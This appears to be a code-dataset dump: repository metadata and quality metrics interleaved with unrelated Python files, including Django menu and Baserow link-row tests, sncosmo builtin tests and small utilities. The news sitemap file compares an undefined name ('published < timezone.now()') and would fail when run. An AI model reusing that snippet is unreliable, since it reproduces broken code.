zazula/talos
|
4a2a2c1c16310a2158692808cb0a6cfe4e4be326
|
[
"MIT"
] | 304
|
2018-05-16T00:59:44.000Z
|
2022-03-17T05:23:21.000Z
|
def logging_finish(self):
from .results import result_todf
# save the results
self = result_todf(self)
return self
| 14.888889
| 36
| 0.686567
| 18
| 134
| 4.944444
| 0.666667
| 0.224719
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.253731
| 134
| 8
| 37
| 16.75
| 0.89
| 0.119403
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b22e0d69ad71529c3597a25b50f39a310672a492
| 98
|
py
|
Python
|
dim2_show.py
|
tf2gan/vae-gan-code-for-reinforced-panel
|
b4d407b999551ad5fd965cd2bb18c1e5bbba3449
|
[
"MIT"
] | 3
|
2022-02-27T10:49:14.000Z
|
2022-02-27T10:49:33.000Z
|
dim2_show.py
|
tf2gan/vae-gan-code-for-reinforced-panel
|
b4d407b999551ad5fd965cd2bb18c1e5bbba3449
|
[
"MIT"
] | null | null | null |
dim2_show.py
|
tf2gan/vae-gan-code-for-reinforced-panel
|
b4d407b999551ad5fd965cd2bb18c1e5bbba3449
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Sat May 15 16:57:10 2021
@author: Administrator
"""
| 14
| 36
| 0.571429
| 14
| 98
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173333
| 0.234694
| 98
| 6
| 37
| 16.333333
| 0.573333
| 0.836735
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b26635ed2380bc88bffceba63a6c47f0d4ea49d2
| 48
|
py
|
Python
|
python/models/base.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | 5
|
2019-09-29T19:48:43.000Z
|
2022-02-10T10:07:46.000Z
|
python/models/base.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | 46
|
2019-09-29T17:42:03.000Z
|
2022-02-13T18:14:06.000Z
|
python/models/base.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | null | null | null |
from pony.orm import Database
db = Database()
| 9.6
| 29
| 0.729167
| 7
| 48
| 5
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1875
| 48
| 4
| 30
| 12
| 0.897436
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b2851d475b6a72cf1d55222599ddfb70ab250de6
| 8,232
|
py
|
Python
|
garb/tests/templatetags/garb_menu.py
|
marcelogumercinocosta/django-garb
|
99cdf555ab4b5eaa1aa6ac5df032835d4e2af603
|
[
"MIT"
] | 17
|
2020-06-19T19:03:25.000Z
|
2021-05-03T15:22:32.000Z
|
garb/tests/templatetags/garb_menu.py
|
marcelogumercinocosta/django-garb
|
99cdf555ab4b5eaa1aa6ac5df032835d4e2af603
|
[
"MIT"
] | null | null | null |
garb/tests/templatetags/garb_menu.py
|
marcelogumercinocosta/django-garb
|
99cdf555ab4b5eaa1aa6ac5df032835d4e2af603
|
[
"MIT"
] | 1
|
2021-11-25T21:15:06.000Z
|
2021-11-25T21:15:06.000Z
|
from django.conf import settings
from django.contrib.auth.models import Permission
from django.urls import reverse, resolve
from django.utils.encoding import force_text as force_unicode
from garb.tests.models import *
from garb.tests.urls import *
from garb.templatetags.garb_menu import get_menu, Menu, ItemLink, ItemLinkModel
from garb.tests.mixins import UserTestCaseMixin
class GarbMenuTestCase(UserTestCaseMixin):
app_label = 'tests'
route_blog = ("admin:{0}_{1}_changelist".format(app_label,'blog'))
route_blog_link = "/" + resolve(reverse('admin:%s_%s_changelist' % (app_label,'blog'))).route
route_content = ("admin:{0}_{1}_changelist".format(app_label,'blogcomment'))
def setUp(self):
self.setUpConfig()
self.login_superuser()
def setUpConfig(self):
settings.GARB_CONFIG = getattr(settings, 'GARB_CONFIG', {})
settings.GARB_CONFIG.update({
'MENU': [
{ 'label': 'menu1', 'icon': 'fa-user-plus', 'route': 'blog1', 'auth':'all' },
{ 'label': 'menu2', 'icon': 'fa-user-plus',
'sub_itens':[
{ 'model':'tests.blog'},
{ 'model':'tests.blogcomment'},
]
},
{ 'label': 'menu3', 'icon': 'fa-user-plus', 'auth':'all',
'sub_itens':[
{ 'label': 'sub1', 'link': 'www.uol.com.br', 'target':'_blank' },
{ 'label': 'sub2', 'route': 'blog1', 'permission': 'tests.can_hire', },
{ 'label': 'sub3', 'route': 'blog2', 'auth':'yes' },
{ 'label': 'sub4', 'route': 'blog3', 'auth':'no' },
{ 'label': 'sub5', 'link': 'www.uol.com.br'},
]
},
{ 'label': 'menu4', 'icon': 'fa-user-plus',
'sub_itens':[
{ 'label': 'sub6', 'route': 'blog1', 'permission': 'tests.can_hire', },
{ 'label': 'sub7', 'route': 'blog2' , 'auth':'yes'},
{ 'label': 'sub8', 'route': 'blog3' },
]
}
],
})
def make_menu_from_response(self):
return get_menu(self.response.context, self.response._request)
def test_index(self):
self.client.logout()
self.get_response(url="/")
def test_menu_admin(self):
self.client.logout()
self.login_superuser()
self.get_response()
mc = settings.GARB_CONFIG['MENU']
menu = self.make_menu_from_response()
self.assertEqual(len(menu), len(mc))
# as string
i = 0
self.assertEqual(menu[i].label, mc[i]['label'])
self.assertEqual(menu[i].route, mc[i]['route'])
self.assertEqual(menu[i].icon, 'fa-user-plus')
self.assertEqual(menu[i].auth, 'all')
i += 1 # as dict
self.assertEqual(type(menu[i].childrens[0]), ItemLinkModel)
self.assertEqual(len(menu[i].childrens), len(mc[i]['sub_itens']))
self.assertEqual(menu[i].icon, mc[i]['icon'])
self.assertEqual(menu[i].childrens[0].route, self.route_blog )
self.assertEqual(menu[i].childrens[0].get_url(), self.route_blog_link )
self.assertEqual(menu[i].childrens[1].route, self.route_content)
i += 1 # as dict
self.assertEqual(menu[i].auth, 'all')
self.assertEqual(menu[i].childrens[0].auth, 'all')
self.assertEqual(type(menu[i].childrens[0]), ItemLink)
self.assertEqual(menu[i].childrens[0].target, '_blank')
self.assertEqual(menu[i].childrens[1].auth, 'all')
self.assertEqual(menu[i].childrens[2].auth, 'yes')
self.assertEqual(menu[i].label, mc[i]['label'])
self.assertEqual(len(menu[i].childrens), 4)
self.assertEqual(len(menu[i].childrens), len(mc[i]['sub_itens'])-1)
self.assertEqual(menu[i].childrens[3].get_url(), 'http://www.uol.com.br')
self.assertEqual(menu[i].childrens[3].target, '_blank')
i += 1 # as dict
self.assertEqual(len(menu[i].childrens), 3)
self.assertEqual(menu[i].childrens[0].auth, 'yes')
self.assertEqual(menu[i].childrens[2].auth, 'yes')
def test_menu_user(self):
self.client.logout()
self.login_user()
self.get_response()
mc = settings.GARB_CONFIG['MENU']
menu = self.make_menu_from_response()
self.assertEqual(len(menu), len(mc)-1)
i = 0
self.assertEqual(menu[i].label, mc[i]['label'])
self.assertEqual(menu[i].route, mc[i]['route'])
self.assertEqual(menu[i].icon, 'fa-user-plus')
self.assertEqual(menu[i].auth, 'all')
i += 1 # as dict
self.assertEqual(menu[i].auth, 'all')
self.assertEqual(menu[i].childrens[0].auth, 'all')
self.assertEqual(type(menu[i].childrens[0]), ItemLink)
self.assertEqual(menu[i].childrens[0].target, '_blank')
self.assertEqual(menu[i].childrens[1].auth, 'yes')
self.assertEqual(menu[i].label, mc[i+1]['label'])
self.assertEqual(len(menu[i].childrens), 3)
self.assertEqual(len(menu[i].childrens), len(mc[i+1]['sub_itens'])-2)
self.assertEqual(menu[i].childrens[0].label, 'sub1')
self.assertEqual(menu[i].childrens[1].label, 'sub3')
def test_menu_only_authenticated(self):
self.client.logout()
self.get_response(url="/")
mc = settings.GARB_CONFIG['MENU']
menu = self.make_menu_from_response()
self.assertEqual(len(menu), len(mc)-2)
i = 0
self.assertEqual(menu[i].label, mc[i]['label'])
self.assertEqual(menu[i].route, mc[i]['route'])
self.assertEqual(menu[i].icon, 'fa-user-plus')
self.assertEqual(menu[i].auth, 'all')
i += 1 # as dict
self.assertEqual(menu[i].auth, 'all')
self.assertEqual(menu[i].childrens[0].auth, 'all')
self.assertEqual(type(menu[i].childrens[0]), ItemLink)
self.assertEqual(menu[i].childrens[0].target, '_blank')
self.assertEqual(menu[i].childrens[1].auth, 'no')
self.assertEqual(menu[i].label, mc[i+1]['label'])
self.assertEqual(len(menu[i].childrens), 3)
self.assertEqual(len(menu[i].childrens), len(mc[i+1]['sub_itens'])-2)
self.assertEqual(menu[i].childrens[0].label, 'sub1')
self.assertEqual(menu[i].childrens[1].label, 'sub4')
def test_menu_user_permission(self):
self.client.logout()
self.login_user_permission()
self.get_response()
mc = settings.GARB_CONFIG['MENU']
menu = self.make_menu_from_response()
self.assertEqual(len(menu), len(mc)-1)
i = 0
self.assertEqual(menu[i].label, mc[i]['label'])
self.assertEqual(menu[i].route, mc[i]['route'])
self.assertEqual(menu[i].icon, 'fa-user-plus')
self.assertEqual(menu[i].auth, 'all')
i += 1 # as dict
self.assertEqual(menu[i].auth, 'all')
self.assertEqual(menu[i].childrens[0].auth, 'all')
self.assertEqual(type(menu[i].childrens[0]), ItemLink)
self.assertEqual(menu[i].childrens[0].target, '_blank')
self.assertEqual(menu[i].childrens[1].permission, 'tests.can_hire')
self.assertEqual(menu[i].childrens[2].auth, 'yes')
self.assertEqual(menu[i].label, mc[i+1]['label'])
self.assertEqual(len(menu[i].childrens), 4)
self.assertEqual(len(menu[i].childrens), len(mc[i+1]['sub_itens'])-1)
self.assertEqual(menu[i].childrens[0].label, 'sub1')
self.assertEqual(menu[i].childrens[1].label, 'sub2')
self.assertEqual(menu[i].childrens[2].label, 'sub3')
def test_menu_active(self):
self.client.logout()
self.login_superuser()
self.get_response()
self.get_response(url=self.route_blog_link)
menu = self.make_menu_from_response()
self.assertEqual(menu[1].childrens[0].get_active(), True)
self.assertEqual(menu[1].childrens[1].get_active(), False)
self.assertEqual(menu[1].collapsed, True)
self.assertEqual(menu[2].collapsed, False)
| 42.215385
| 97
| 0.581633
| 1,022
| 8,232
| 4.589041
| 0.109589
| 0.24307
| 0.230917
| 0.226013
| 0.739872
| 0.688699
| 0.644776
| 0.592964
| 0.553092
| 0.542857
| 0
| 0.015555
| 0.242468
| 8,232
| 194
| 98
| 42.43299
| 0.73653
| 0.009718
| 0
| 0.533333
| 0
| 0
| 0.107463
| 0.008607
| 0
| 0
| 0
| 0
| 0.460606
| 1
| 0.054545
| false
| 0
| 0.048485
| 0.006061
| 0.139394
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a24b709bdc3ba75c66013e4735e49dcca5796c5c
| 138
|
py
|
Python
|
DataProviders/IProvider.py
|
shaharluftig/DoorKeeper
|
768382ac5bca2cc4330b06c1ac561a2675c791e2
|
[
"MIT"
] | 1
|
2020-10-04T16:48:33.000Z
|
2020-10-04T16:48:33.000Z
|
DataProviders/IProvider.py
|
shaharluftig/DoorKeeper
|
768382ac5bca2cc4330b06c1ac561a2675c791e2
|
[
"MIT"
] | null | null | null |
DataProviders/IProvider.py
|
shaharluftig/DoorKeeper
|
768382ac5bca2cc4330b06c1ac561a2675c791e2
|
[
"MIT"
] | null | null | null |
from Models.UserFace import UserFace
class IProvider:
def get_all_faces_data(self) -> [UserFace]:
raise NotImplementedError
| 19.714286
| 47
| 0.746377
| 16
| 138
| 6.25
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.188406
| 138
| 6
| 48
| 23
| 0.892857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
a293fbb87e65f7b1a83e36ff1731ae97a9891979
| 120
|
py
|
Python
|
chapter-05/05-03-GenerateRandomBit-Python/host.py
|
Djohnnie/Introducing-Microsoft-Quantum-Computing-For-Developers
|
e437815576bd3576050f7c75b99d47a3c68955c4
|
[
"MIT"
] | null | null | null |
chapter-05/05-03-GenerateRandomBit-Python/host.py
|
Djohnnie/Introducing-Microsoft-Quantum-Computing-For-Developers
|
e437815576bd3576050f7c75b99d47a3c68955c4
|
[
"MIT"
] | null | null | null |
chapter-05/05-03-GenerateRandomBit-Python/host.py
|
Djohnnie/Introducing-Microsoft-Quantum-Computing-For-Developers
|
e437815576bd3576050f7c75b99d47a3c68955c4
|
[
"MIT"
] | null | null | null |
import qsharp
from _05_03_Quantum import GenerateRandomBit
result = GenerateRandomBit.simulate()
print( int(result) )
| 17.142857
| 44
| 0.816667
| 14
| 120
| 6.785714
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037736
| 0.116667
| 120
| 7
| 45
| 17.142857
| 0.858491
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a297d336999f49db9a745df21da605939e64d128
| 343
|
py
|
Python
|
ani_sitemap/views.py
|
AniMcGill/sitemap
|
a775c3e3cde5d7d145eb7652a82f6389e5001961
|
[
"Apache-2.0"
] | null | null | null |
ani_sitemap/views.py
|
AniMcGill/sitemap
|
a775c3e3cde5d7d145eb7652a82f6389e5001961
|
[
"Apache-2.0"
] | null | null | null |
ani_sitemap/views.py
|
AniMcGill/sitemap
|
a775c3e3cde5d7d145eb7652a82f6389e5001961
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib.sitemaps import Sitemap
from aninews.models import NewsItem
from django.utils import timezone
# Create your views here.
class NewsSitemap(Sitemap):
changefreq = "weekly"
def items(self):
return NewsItem.objects.filter(published < timezone.now())
def lastmod(self, obj):
return obj.published
| 22.866667
| 66
| 0.728863
| 42
| 343
| 5.952381
| 0.690476
| 0.08
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.189504
| 343
| 14
| 67
| 24.5
| 0.899281
| 0.067055
| 0
| 0
| 0
| 0
| 0.018927
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.333333
| 0.222222
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
a2b59cc361ec06cd27dcf0d0b36da37f3a2ef53c
| 2,640
|
py
|
Python
|
sncosmo/tests/test_builtins.py
|
mcoughlin/sncosmo
|
f2933b269bd6d6e767ab93a23f3ab14ee90398f0
|
[
"BSD-3-Clause"
] | 51
|
2015-01-14T23:38:36.000Z
|
2021-12-29T15:15:10.000Z
|
sncosmo/tests/test_builtins.py
|
mcoughlin/sncosmo
|
f2933b269bd6d6e767ab93a23f3ab14ee90398f0
|
[
"BSD-3-Clause"
] | 233
|
2015-01-04T22:49:10.000Z
|
2022-03-17T03:48:59.000Z
|
sncosmo/tests/test_builtins.py
|
mcoughlin/sncosmo
|
f2933b269bd6d6e767ab93a23f3ab14ee90398f0
|
[
"BSD-3-Clause"
] | 55
|
2015-01-09T00:30:38.000Z
|
2022-01-08T17:51:55.000Z
|
import pytest
import sncosmo
"""Test all of the builtins code.
This file is designed to test that all of the code that loads builtins works,
and only tests a single example for each kind of builtin. A separate file
(test_download_builtins.py) actually makes sure that all of the builtins can be
downloaded and loaded, but that is slow and requires a lot of downloading so it
isn't included as part of the standard test suite. If you add new builtins
they should be picked up automatically by that file.
You should only add a new test to this file if you created a new loader
function.
"""
@pytest.mark.might_download
def test_builtins_bessell():
sncosmo.get_bandpass('bessellb')
@pytest.mark.might_download
def test_builtins_remote_aa():
sncosmo.get_bandpass('standard::u')
@pytest.mark.might_download
def test_builtins_remote_nm():
sncosmo.get_bandpass('kepler')
@pytest.mark.might_download
def test_builtins_remote_um():
sncosmo.get_bandpass('f070w')
@pytest.mark.might_download
def test_builtins_remote_wfc3():
sncosmo.get_bandpass('f098m')
@pytest.mark.might_download
def test_builtins_tophat_um():
sncosmo.get_bandpass('f1065c')
@pytest.mark.might_download
def test_builtins_megacampsf():
sncosmo.get_bandpass('megacampsf::u', 0.)
@pytest.mark.might_download
def test_builtins_timeseries_ascii():
sncosmo.get_source('nugent-sn1a')
@pytest.mark.might_download
def test_builtins_timeseries_fits():
sncosmo.get_source('hsiao')
@pytest.mark.might_download
def test_builtins_timeseries_fits_local():
sncosmo.get_source('hsiao-subsampled')
@pytest.mark.might_download
def test_builtins_salt2model():
sncosmo.get_source('salt2')
@pytest.mark.might_download
def test_builtins_salt3model():
sncosmo.get_source('salt3')
@pytest.mark.might_download
def test_builtins_2011fe():
sncosmo.get_source('snf-2011fe')
@pytest.mark.might_download
def test_builtins_mlcs2k2():
sncosmo.get_source('mlcs2k2')
@pytest.mark.might_download
def test_builtins_snemo():
sncosmo.get_source('snemo2')
@pytest.mark.might_download
def test_builtins_sugar():
sncosmo.get_source('sugar')
@pytest.mark.might_download
def test_builtins_magsys_ab():
sncosmo.get_magsystem('ab')
@pytest.mark.might_download
def test_builtins_magsys_fits():
sncosmo.get_magsystem('vega')
@pytest.mark.might_download
def test_builtins_magsys_csp():
sncosmo.get_magsystem('csp')
@pytest.mark.might_download
def test_builtins_magsys_ab_b12():
sncosmo.get_magsystem('ab-b12')
@pytest.mark.might_download
def test_builtins_magsys_jla():
sncosmo.get_magsystem('jla1')
| 21.639344
| 79
| 0.780682
| 383
| 2,640
| 5.117493
| 0.289817
| 0.107143
| 0.160714
| 0.246429
| 0.456122
| 0.456122
| 0.456122
| 0.281633
| 0.1
| 0
| 0
| 0.015093
| 0.121591
| 2,640
| 121
| 80
| 21.818182
| 0.830099
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| 0.068783
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| 1
| 0.323077
| true
| 0.107692
| 0.030769
| 0
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| 0
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| 0
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| null | 0
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| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
a2f75609ece5b0c2cf85d21538de5e3a716b46e0
| 181
|
py
|
Python
|
python/code/soma_duas_listas.py
|
darcamo/python-16h-course
|
70c67ff1275d1abfca77ca5f56779c198b81bd0c
|
[
"MIT"
] | null | null | null |
python/code/soma_duas_listas.py
|
darcamo/python-16h-course
|
70c67ff1275d1abfca77ca5f56779c198b81bd0c
|
[
"MIT"
] | null | null | null |
python/code/soma_duas_listas.py
|
darcamo/python-16h-course
|
70c67ff1275d1abfca77ca5f56779c198b81bd0c
|
[
"MIT"
] | null | null | null |
def soma_listas(l1, l2):
saida = []
for i, j in zip(l1, l2):
saida.append(i+j)
return saida
def soma_listas2(l1, l2):
return [i+j for i, j in zip(l1, l2)]
| 18.1
| 40
| 0.563536
| 34
| 181
| 2.941176
| 0.411765
| 0.16
| 0.18
| 0.14
| 0.28
| 0.28
| 0.28
| 0
| 0
| 0
| 0
| 0.069767
| 0.287293
| 181
| 9
| 41
| 20.111111
| 0.705426
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.142857
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
0c132b5d4b8148839ef0dde48c5a814a704fcf94
| 30,054
|
py
|
Python
|
backend/tests/baserow/contrib/database/field/test_link_row_field_type.py
|
jacklicn/baserow
|
978d9462ededbaa96674a6653028ba19876ea273
|
[
"MIT"
] | 1
|
2021-04-13T16:27:58.000Z
|
2021-04-13T16:27:58.000Z
|
backend/tests/baserow/contrib/database/field/test_link_row_field_type.py
|
jacklicn/baserow
|
978d9462ededbaa96674a6653028ba19876ea273
|
[
"MIT"
] | null | null | null |
backend/tests/baserow/contrib/database/field/test_link_row_field_type.py
|
jacklicn/baserow
|
978d9462ededbaa96674a6653028ba19876ea273
|
[
"MIT"
] | null | null | null |
import pytest
from rest_framework.status import HTTP_200_OK, HTTP_204_NO_CONTENT, HTTP_400_BAD_REQUEST
from django.shortcuts import reverse
from django.db import connections
from baserow.core.handler import CoreHandler
from baserow.contrib.database.fields.models import Field
from baserow.contrib.database.fields.handler import FieldHandler
from baserow.contrib.database.fields.models import LinkRowField
from baserow.contrib.database.fields.exceptions import (
LinkRowTableNotInSameDatabase, LinkRowTableNotProvided
)
from baserow.contrib.database.rows.handler import RowHandler
@pytest.mark.django_db
def test_link_row_field_type(data_fixture):
user = data_fixture.create_user()
database = data_fixture.create_database_application(user=user, name='Placeholder')
table = data_fixture.create_database_table(name='Example', database=database)
customers_table = data_fixture.create_database_table(name='Customers',
database=database)
cars_table = data_fixture.create_database_table(name='Cars', database=database)
unrelated_table_1 = data_fixture.create_database_table(name='Unrelated')
field_handler = FieldHandler()
row_handler = RowHandler()
# Create a primary field and some example data for the customers table.
customers_primary_field = field_handler.create_field(
user=user, table=customers_table, type_name='text', name='Name', primary=True
)
customers_row_1 = row_handler.create_row(user=user, table=customers_table, values={
f'field_{customers_primary_field.id}': 'John'
})
customers_row_2 = row_handler.create_row(user=user, table=customers_table, values={
f'field_{customers_primary_field.id}': 'Jane'
})
# Create a primary field and some example data for the cars table.
cars_primary_field = field_handler.create_field(
user=user, table=cars_table, type_name='text', name='Name', primary=True
)
row_handler.create_row(user=user, table=cars_table, values={
f'field_{cars_primary_field.id}': 'BMW'
})
row_handler.create_row(user=user, table=cars_table, values={
f'field_{cars_primary_field.id}': 'Audi'
})
with pytest.raises(LinkRowTableNotProvided):
field_handler.create_field(
user=user, table=table, type_name='link_row', name='Without table'
)
with pytest.raises(LinkRowTableNotInSameDatabase):
field_handler.create_field(
user=user, table=table, type_name='link_row', name='Unrelated',
link_row_table=unrelated_table_1
)
link_field_1 = field_handler.create_field(
user=user, table=table, type_name='link_row', name='Customer',
link_row_table=customers_table
)
link_field_2 = field_handler.create_field(
user=user, table=table, type_name='link_row', name='Customer',
link_row_table=customers_table
)
assert link_field_1.link_row_related_field.name == 'Example'
assert link_field_2.link_row_related_field.name == 'Example'
connection = connections['default']
tables = connection.introspection.table_names()
assert (
link_field_1.through_table_name ==
link_field_1.link_row_related_field.through_table_name
)
assert (
link_field_2.through_table_name ==
link_field_2.link_row_related_field.through_table_name
)
assert link_field_1.through_table_name in tables
assert link_field_2.through_table_name in tables
model = table.get_model()
table_row = model.objects.create()
getattr(table_row, f'field_{link_field_1.id}').add(customers_row_1.id)
results = getattr(table_row, f'field_{link_field_1.id}').all()
assert len(results) == 1
assert getattr(results[0], f'field_{customers_primary_field.id}') == 'John'
getattr(table_row, f'field_{link_field_2.id}').add(
customers_row_1.id, customers_row_2.id
)
results = getattr(table_row, f'field_{link_field_2.id}').all()
assert len(results) == 2
assert getattr(results[0], f'field_{customers_primary_field.id}') == 'John'
assert getattr(results[1], f'field_{customers_primary_field.id}') == 'Jane'
table_row_2 = model.objects.create()
getattr(table_row_2, f'field_{link_field_1.id}').add(customers_row_2.id)
results = getattr(table_row_2, f'field_{link_field_1.id}').all()
assert len(results) == 1
assert getattr(results[0], f'field_{customers_primary_field.id}') == 'Jane'
# Going to change only the name of the field. This should not result in any errors
# of schema changes.
link_field_1 = field_handler.update_field(
user, link_field_1, name='Customer 2'
)
with pytest.raises(LinkRowTableNotInSameDatabase):
field_handler.update_field(
user, link_field_1, link_row_table=unrelated_table_1
)
model = table.get_model()
assert model.objects.all().count() == 2
# Change the table, this should destroy all relations.
old_link_field_1_relation_id = link_field_1.link_row_relation_id
link_field_1 = field_handler.update_field(
user, link_field_1, link_row_table=cars_table
)
model = table.get_model()
table_rows = model.objects.all()
table_row = table_rows[0]
table_row_2 = table_rows[1]
assert link_field_1.link_row_table.id == cars_table.id
assert link_field_1.link_row_relation_id == old_link_field_1_relation_id
assert getattr(table_row, f'field_{link_field_1.id}').all().count() == 0
assert getattr(table_row, f'field_{link_field_2.id}').all().count() == 2
assert getattr(table_row_2, f'field_{link_field_1.id}').all().count() == 0
assert getattr(table_row_2, f'field_{link_field_2.id}').all().count() == 0
link_field_2 = field_handler.update_field(
user, link_field_2, new_type_name='text'
)
model = table.get_model()
table_row = model.objects.all().first()
assert getattr(table_row, f'field_{link_field_2.id}') is None
assert LinkRowField.objects.all().count() == 2
setattr(table_row, f'field_{link_field_2.id}', 'Text value')
table_row.save()
assert getattr(table_row, f'field_{link_field_2.id}') == 'Text value'
# Delete the existing field. Alter that the related field should be deleted and
# no table named _relation_ should exist.
field_handler.delete_field(user, link_field_1)
assert LinkRowField.objects.all().count() == 0
for t in connection.introspection.table_names():
if '_relation_' in t:
assert False
# Change a the text field back into a link row field.
link_field_2 = field_handler.update_field(
user, link_field_2, new_type_name='link_row', link_row_table=customers_table
)
assert link_field_2.link_row_related_field.name == 'Example'
assert (
link_field_2.through_table_name ==
link_field_2.link_row_related_field.through_table_name
)
assert link_field_2.through_table_name in connection.introspection.table_names()
assert LinkRowField.objects.all().count() == 2
model = table.get_model()
table_row = model.objects.all().first()
getattr(table_row, f'field_{link_field_2.id}').add(
customers_row_1.id, customers_row_2.id
)
results = getattr(table_row, f'field_{link_field_2.id}').all()
assert len(results) == 2
assert getattr(results[0], f'field_{customers_primary_field.id}') == 'John'
assert getattr(results[1], f'field_{customers_primary_field.id}') == 'Jane'
@pytest.mark.django_db
def test_link_row_field_type_rows(data_fixture):
user = data_fixture.create_user()
database = data_fixture.create_database_application(user=user, name='Placeholder')
example_table = data_fixture.create_database_table(name='Example',
database=database)
customers_table = data_fixture.create_database_table(name='Customers',
database=database)
users_table = data_fixture.create_database_table(name='Users',
database=database)
field_handler = FieldHandler()
row_handler = RowHandler()
link_row_field = field_handler.create_field(
user=user,
table=example_table,
type_name='link_row',
link_row_table=customers_table
)
customers_row_1 = row_handler.create_row(user=user, table=customers_table)
customers_row_2 = row_handler.create_row(user=user, table=customers_table)
customers_row_3 = row_handler.create_row(user=user, table=customers_table)
row = row_handler.create_row(user=user, table=example_table, values={
f'field_{link_row_field.id}': [customers_row_1.id, customers_row_2.id],
})
row_2 = row_handler.create_row(user=user, table=example_table, values={
f'field_{link_row_field.id}': [customers_row_1.id],
})
example_table.name = 'Example2'
example_table.save()
customers_table.name = 'Customers2'
customers_table.save()
row_1_all = getattr(row, f'field_{link_row_field.id}').all()
row_2_all = getattr(row_2, f'field_{link_row_field.id}').all()
row_1_ids = [i.id for i in row_1_all]
row_2_ids = [i.id for i in row_2_all]
assert row_1_all.count() == 2
assert row_2_all.count() == 1
assert customers_row_1.id in row_1_ids
assert customers_row_2.id in row_1_ids
assert customers_row_1.id in row_2_ids
row = row_handler.update_row(
user=user,
table=example_table,
row_id=row.id,
values={
f'field_{link_row_field.id}': [customers_row_3.id]
}
)
row_2 = row_handler.update_row(
user=user,
table=example_table,
row_id=row_2.id,
values={
f'field_{link_row_field.id}': [customers_row_2.id, customers_row_1.id]
}
)
row_1_all = getattr(row, f'field_{link_row_field.id}').all()
row_2_all = getattr(row_2, f'field_{link_row_field.id}').all()
row_1_ids = [i.id for i in row_1_all]
row_2_ids = [i.id for i in row_2_all]
assert row_1_all.count() == 1
assert row_2_all.count() == 2
assert customers_row_3.id in row_1_ids
assert customers_row_1.id in row_2_ids
assert customers_row_2.id in row_2_ids
